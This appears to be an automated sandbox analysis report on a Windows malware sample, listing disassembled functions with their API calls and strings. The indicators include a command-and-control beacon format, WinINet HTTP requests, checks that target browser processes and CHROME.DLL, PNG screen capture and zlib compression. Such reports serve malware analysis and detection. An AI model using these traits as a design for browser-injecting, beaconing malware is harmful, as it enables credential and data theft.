Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225EE1E, Relevance: 10.3, APIs: 4, Strings: 1, Instructions: 87

APIs

memset.NTDLL ref: 0225EE43
GetTickCount.KERNEL32 ref: 0225EE53

Part of subcall function 02253693: GetTickCount.KERNEL32 ref: 02253696

Part of subcall function 02253650: memcpy.NTDLL(?,?,00000010,?,?,?), ref: 02253682

Part of subcall function 0225DCE8: memset.NTDLL(?,00000000), ref: 0225DD1E
Part of subcall function 0225DCE8: memcpy.NTDLL(?,00000008,?,?,00000000,?,?,00000000,00000000), ref: 0225DD29

Part of subcall function 0225EC1B: memset.NTDLL(00000002,000000FF), ref: 0225EC58
Part of subcall function 0225EC1B: memcpy.NTDLL(00000002,00000040,00000028,00000000,00000000), ref: 0225EC72
Part of subcall function 0225EC1B: memset.NTDLL(?,00000000), ref: 0225EC95

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

memcpy.NTDLL(?,?,?,?,?,?,?,?,?,?,00000001,?,00000000,?,?,00000028), ref: 0225EEDE
memcpy.NTDLL(?,?,?,?,00000000,?,?,?,?,?,00000000,?,0225A4AB,?,?,00000000), ref: 0225EEF7

Strings

@, xrefs: 0225EE4B

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225B942, Relevance: 10.3, APIs: 2, Strings: 3, Instructions: 79

APIs

GetProcAddress.KERNEL32(?,GdipGetImageEncodersSize), ref: 0225B957
GetProcAddress.KERNEL32(?,GdipGetImageEncoders), ref: 0225B963

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Strings

GdipGetImageEncoders, xrefs: 0225B959
image/png, xrefs: 0225B9A6
GdipGetImageEncodersSize, xrefs: 0225B94F

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02291250, Relevance: 10.3, APIs: 4, Strings: 1, Instructions: 59

APIs

deflateInit2_.ZLIB1 ref: 022912A7

Part of subcall function 02291690: deflateReset.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 02291889
Part of subcall function 02291690: deflateEnd.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 022918A5

deflate.ZLIB1(?,00000004,?,?,00000008,0000000F,00000008,00000000,1.2.3,00000038), ref: 022912BB

Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 02291F0E
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 02292013
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 0229207F
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 022920E3
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 02292146
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 022921A3
Part of subcall function 02291C70: crc32.ZLIB1(?,?,?,?,?,?,?,022912C0,?,00000004,?,?,00000008,0000000F,00000008,00000000), ref: 02292206

deflateEnd.ZLIB1(?,?,?,?,00000008,0000000F,00000008,00000000,1.2.3,00000038), ref: 022912CF
deflateEnd.ZLIB1(?,?,?,?,00000008,0000000F,00000008,00000000,1.2.3,00000038), ref: 022912F3

Strings

1.2.3, xrefs: 02291266

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 02253B2E, Relevance: 9.5, APIs: 2, Strings: 3, Instructions: 82

APIs

wsprintfA.USER32(?,%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x,?,?,?,?,?,?,?,?), ref: 02253BA9
wsprintfA.USER32(?,version=%s&group=%s&client=%s,0225FEA8,0227,?,?,?,?,?,?,?), ref: 02253BC5

Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 02252306
Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 0225230E
Part of subcall function 022522F0: HeapAlloc.KERNEL32(00150000,00000000), ref: 0225233E
Part of subcall function 022522F0: memcpy.NTDLL(00010842,?), ref: 02252354
Part of subcall function 022522F0: CharLowerA.USER32(00010842), ref: 02252361

Strings

0227, xrefs: 02253BAF
%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x, xrefs: 02253BA3
version=%s&group=%s&client=%s, xrefs: 02253BBF

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225C15C, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 82

APIs

GetLastError.KERNEL32 ref: 0225C18F
SetLastError.KERNEL32(?), ref: 0225C21E

Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 02252306
Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 0225230E
Part of subcall function 022522F0: HeapAlloc.KERNEL32(00150000,00000000), ref: 0225233E
Part of subcall function 022522F0: memcpy.NTDLL(00010842,?), ref: 02252354
Part of subcall function 022522F0: CharLowerA.USER32(00010842), ref: 02252361

Part of subcall function 02254543: GetSystemTimeAsFileTime.KERNEL32(00000010), ref: 02254575
Part of subcall function 02254543: EnterCriticalSection.KERNEL32(04E6A010), ref: 0225457F
Part of subcall function 02254543: LeaveCriticalSection.KERNEL32(04E6A010), ref: 02254590
Part of subcall function 02254543: SetEvent.KERNEL32(?), ref: 02254599

Strings

explorer.exe, xrefs: 0225C1A4, 0225C1A9, 0225C1B4
iexplore.exe, xrefs: 0225C1BF, 0225C1C4, 0225C1CF
chrome.exe, xrefs: 0225C1DA, 0225C1DF, 0225C1EA
firefox.exe, xrefs: 0225C1F5, 0225C1FA, 0225C205

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225C08A, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 82

APIs

GetLastError.KERNEL32 ref: 0225C0BD
SetLastError.KERNEL32(?), ref: 0225C14C

Part of subcall function 022521F0: lstrlenW.KERNEL32(?), ref: 02252205
Part of subcall function 022521F0: lstrlenW.KERNEL32(?), ref: 0225220D
Part of subcall function 022521F0: HeapAlloc.KERNEL32(00150000,00000000), ref: 0225224D
Part of subcall function 022521F0: memcpy.NTDLL(000107F6,?), ref: 02252267
Part of subcall function 022521F0: CharLowerW.USER32(000107F6), ref: 02252276

Part of subcall function 02254543: GetSystemTimeAsFileTime.KERNEL32(00000010), ref: 02254575
Part of subcall function 02254543: EnterCriticalSection.KERNEL32(04E6A010), ref: 0225457F
Part of subcall function 02254543: LeaveCriticalSection.KERNEL32(04E6A010), ref: 02254590
Part of subcall function 02254543: SetEvent.KERNEL32(?), ref: 02254599

Strings

chrome.exe, xrefs: 0225C108, 0225C10D, 0225C118
firefox.exe, xrefs: 0225C123, 0225C128, 0225C133
iexplore.exe, xrefs: 0225C0ED, 0225C0F2, 0225C0FD
explorer.exe, xrefs: 0225C0D2, 0225C0D7, 0225C0E2

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225C22E, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 81

APIs

GetLastError.KERNEL32 ref: 0225C25E
SetLastError.KERNEL32(?), ref: 0225C2ED

Part of subcall function 022521F0: lstrlenW.KERNEL32(?), ref: 02252205
Part of subcall function 022521F0: lstrlenW.KERNEL32(?), ref: 0225220D
Part of subcall function 022521F0: HeapAlloc.KERNEL32(00150000,00000000), ref: 0225224D
Part of subcall function 022521F0: memcpy.NTDLL(000107F6,?), ref: 02252267
Part of subcall function 022521F0: CharLowerW.USER32(000107F6), ref: 02252276

Part of subcall function 02254543: GetSystemTimeAsFileTime.KERNEL32(00000010), ref: 02254575
Part of subcall function 02254543: EnterCriticalSection.KERNEL32(04E6A010), ref: 0225457F
Part of subcall function 02254543: LeaveCriticalSection.KERNEL32(04E6A010), ref: 02254590
Part of subcall function 02254543: SetEvent.KERNEL32(?), ref: 02254599

Strings

chrome.exe, xrefs: 0225C2A9, 0225C2AE, 0225C2B9
firefox.exe, xrefs: 0225C2C4, 0225C2C9, 0225C2D4
iexplore.exe, xrefs: 0225C28E, 0225C293, 0225C29E
explorer.exe, xrefs: 0225C273, 0225C278, 0225C283

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225C2FD, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 81

APIs

GetLastError.KERNEL32 ref: 0225C32D
SetLastError.KERNEL32(?), ref: 0225C3BC

Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 02252306
Part of subcall function 022522F0: lstrlenA.KERNEL32(?), ref: 0225230E
Part of subcall function 022522F0: HeapAlloc.KERNEL32(00150000,00000000), ref: 0225233E
Part of subcall function 022522F0: memcpy.NTDLL(00010842,?), ref: 02252354
Part of subcall function 022522F0: CharLowerA.USER32(00010842), ref: 02252361

Part of subcall function 02254543: GetSystemTimeAsFileTime.KERNEL32(00000010), ref: 02254575
Part of subcall function 02254543: EnterCriticalSection.KERNEL32(04E6A010), ref: 0225457F
Part of subcall function 02254543: LeaveCriticalSection.KERNEL32(04E6A010), ref: 02254590
Part of subcall function 02254543: SetEvent.KERNEL32(?), ref: 02254599

Strings

explorer.exe, xrefs: 0225C342, 0225C347, 0225C352
iexplore.exe, xrefs: 0225C35D, 0225C362, 0225C36D
chrome.exe, xrefs: 0225C378, 0225C37D, 0225C388
firefox.exe, xrefs: 0225C393, 0225C398, 0225C3A3

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225E193, Relevance: 9.0, APIs: 5, Instructions: 69

APIs

Part of subcall function 0225B4FE: EnterCriticalSection.KERNEL32(00000000,00010A66,00010DB2,0225E1A3,00010A66,00010DB2,00000000,?,?,0225E43A,?,?,00000000,?,00000000,00000000), ref: 0225B507
Part of subcall function 0225B4FE: InterlockedIncrement.KERNEL32(00000030), ref: 0225B518
Part of subcall function 0225B4FE: LeaveCriticalSection.KERNEL32(00000000,?,?,0225E43A,?,?,00000000,?,00000000,00000000), ref: 0225B51F

GetSystemTimeAsFileTime.KERNEL32 ref: 0225E1C8

Part of subcall function 02254C10: InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 02254C3D
Part of subcall function 02254C10: InternetConnectW.WININET(?,00010DB2,00010A66,00000000,00000000,00000003,00000000,00000000), ref: 02254C5B
Part of subcall function 02254C10: HttpOpenRequestW.WININET(?,GET,?,00000000,00000000,00000000,00400000,00000000), ref: 02254C7F
Part of subcall function 02254C10: HttpSendRequestW.WININET(?,00000000,00000000,00000000,00000000), ref: 02254C97
Part of subcall function 02254C10: HttpQueryInfoW.WININET(?,20000005,?,?,00000000), ref: 02254CB7
Part of subcall function 02254C10: InternetReadFile.WININET(00010DB2,?,00000000,?), ref: 02254CFB
Part of subcall function 02254C10: InternetCloseHandle.WININET(00010DB2), ref: 02254D0D
Part of subcall function 02254C10: InternetCloseHandle.WININET(00010A66), ref: 02254D16
Part of subcall function 02254C10: InternetCloseHandle.WININET(?), ref: 02254D20

GetSystemTimeAsFileTime.KERNEL32 ref: 0225E1E2
_alldiv.NTDLL ref: 0225E1F9
EnterCriticalSection.KERNEL32(00000000,?,0225E43A,00002710,00000000,?,?,?,00000000,?,?,?,00010A66,00010DB2,00000000), ref: 0225E20C

Part of subcall function 0225B4E1: LeaveCriticalSection.KERNEL32(?,0225E220,?,?,?,00000000,?,?,?,00010A66,00010DB2,00000000,?,?,0225E43A), ref: 0225B4F7

LeaveCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,00010A66,00010DB2,00000000,?,?,0225E43A,?,?), ref: 0225E225

Part of subcall function 0225B8E6: InterlockedDecrement.KERNEL32(?,0225E230), ref: 0225B8EA

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02251FDF, Relevance: 9.0, APIs: 5, Instructions: 53

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,08000000,00000000), ref: 02252000
GetFileSize.KERNEL32(?,00000000), ref: 02252017
CloseHandle.KERNEL32(?), ref: 02252027

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 02252049
CloseHandle.KERNEL32(?), ref: 0225205B

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225B782, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36

APIs

FindResourceW.KERNEL32(00000067,RT_DATA,00000000), ref: 0225B798
SizeofResource.KERNEL32 ref: 0225B7A7
LoadResource.KERNEL32 ref: 0225B7B6
LockResource.KERNEL32 ref: 0225B7BD

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

Strings

RT_DATA, xrefs: 0225B78B

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225CF6A, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35

APIs

GetModuleHandleW.KERNEL32(CHROME.DLL), ref: 0225CF7C
GetLastError.KERNEL32 ref: 0225CF92
GetModuleHandleW.KERNEL32(CHROME.DLL), ref: 0225CFA5
SetLastError.KERNEL32(?), ref: 0225CFB4

Strings

CHROME.DLL, xrefs: 0225CF76, 0225CF7B, 0225CFA4

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 02291690, Relevance: 8.8, APIs: 2, Strings: 2, Instructions: 183

APIs

deflateReset.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 02291889
deflateEnd.ZLIB1(?,?,?,?,?,?,?,?,?,?,?,?,?,1.2.3,00000038), ref: 022918A5

Strings

8, xrefs: 022916AD
insufficient memory, xrefs: 0229189E

Memory Dump Source

Source File: 00000000.00000002.1094900270.02291000.00000010.sdmp, Offset: 02290000, based on PE: true

Associated: 00000000.00000002.1094893982.02290000.00000002.sdmp
Associated: 00000000.00000002.1094909060.0229B000.00000002.sdmp
Associated: 00000000.00000002.1094921476.022A0000.00000004.sdmp
Associated: 00000000.00000002.1094927568.022A1000.00000002.sdmp

Function 02254543, Relevance: 7.7, APIs: 4, Instructions: 36

APIs

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

GetSystemTimeAsFileTime.KERNEL32(00000010), ref: 02254575
EnterCriticalSection.KERNEL32(04E6A010), ref: 0225457F
LeaveCriticalSection.KERNEL32(04E6A010), ref: 02254590
SetEvent.KERNEL32(?), ref: 02254599

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225CA92, Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 213

APIs

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

EnterCriticalSection.KERNEL32 ref: 0225CAFF

Part of subcall function 0225C6D9: CreateStreamOnHGlobal.OLE32(?,00000001,?), ref: 0225C703

Part of subcall function 02251943: _strcmpi.NTDLL ref: 022519A9
Part of subcall function 02251943: _strcmpi.NTDLL ref: 02251A18

LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 0225CCC9

Part of subcall function 0225DBF8: _strcmpi.NTDLL ref: 0225DC19

lstrlenA.KERNEL32(0225F3EF,?,?,00000000), ref: 0225CC04
lstrlenA.KERNEL32(?,?,?,00000000), ref: 0225CC0B

Part of subcall function 02253B2E: wsprintfA.USER32(?,%08x%04x%04x%02x%02x%02x%02x%02x%02x%02x%02x,?,?,?,?,?,?,?,?), ref: 02253BA9
Part of subcall function 02253B2E: wsprintfA.USER32(?,version=%s&group=%s&client=%s,0225FEA8,0227,?,?,?,?,?,?,?), ref: 02253BC5

Strings

Host, xrefs: 0225CBD3

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
Associated: 00000000.00000001.969398839.0227D000.00000004.sdmp
Associated: 00000000.00000001.969416625.0227E000.00000008.sdmp
Associated: 00000000.00000001.969432909.02287000.00000004.sdmp
Associated: 00000000.00000001.969455374.02288000.00000002.sdmp

Function 0225A9A9, Relevance: 7.4, APIs: 4, Instructions: 54

APIs

EnterCriticalSection.KERNEL32(00000000), ref: 0225A9BD
InternetQueryOptionW.WININET(?,00000029,00000000), ref: 0225A9D6
LeaveCriticalSection.KERNEL32(00000000), ref: 0225AA19

Part of subcall function 022521B0: HeapAlloc.KERNEL32(00150000,00000000,00000348,02254FD6), ref: 022521BA

InternetQueryOptionW.WININET(?,00000029), ref: 0225A9FF

Memory Dump Source

Source File: 00000000.00000001.969253906.02251000.00000004.sdmp, Offset: 02250000, based on PE: true

Associated: 00000000.00000001.969243099.02250000.00000002.sdmp
Associated: 00000000.00000001.969267192.02261000.00000002.sdmp
Associated: 00000000.00000001.969278126.02262000.00000004.sdmp
Associated: 00000000.00000001.969288041.02267000.00000008.sdmp
Associated: 00000000.00000001.969298117.0226A000.00000004.sdmp
Associated: 00000000.00000001.969307855.0226B000.00000008.sdmp
Associated: 00000000.00000001.969319809.0226C000.00000004.sdmp
Associated: 00000000.00000001.969330147.0226E000.00000008.sdmp
Associated: 00000000.00000001.969357594.02278000.00000004.sdmp
Associated: 00000000.00000001.969376502.0227C000.00000008.sdmp
